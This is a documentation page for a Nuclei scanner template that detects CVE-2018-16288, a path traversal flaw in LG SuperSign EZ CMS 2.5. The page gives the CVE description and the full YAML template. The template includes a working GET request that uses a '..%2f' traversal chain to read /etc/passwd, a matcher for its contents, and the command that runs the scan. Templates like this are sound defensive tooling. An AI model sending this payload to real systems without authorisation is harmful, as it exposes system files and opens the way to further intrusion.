Skip to content
Nuclei Templates

LG SuperSign EZ CMS 2.5 - Local File Inclusion

ID: CVE-2018-16288

Severity: high

Author: daffainfo

Tags: cve,cve2018,lfi,supersign,edb,lg

Description

Section titled “Description”

LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.

YAML Source

Section titled “YAML Source”
id: CVE-2018-16288


info:
  name: LG SuperSign EZ CMS 2.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.
  reference:
    - https://www.exploit-db.com/exploits/45440
    - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2018-16288
    cwe-id: CWE-200
    epss-score: 0.12055
    epss-percentile: 0.95357
    cpe: cpe:2.3:a:lg:supersign_cms:2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lg
    product: supersign_cms
  tags: cve,cve2018,lfi,supersign,edb,lg


http:
  - method: GET
    path:
      - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008f1ebdaeea5c03871922175bdd50efb61ee99fd3f7a130f00c2173c5599a429f02202caa08453ee93bcc690f1a9f5def71e8940a286ec5277b44af5f677de2eed4cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-16288.yaml"

View on Github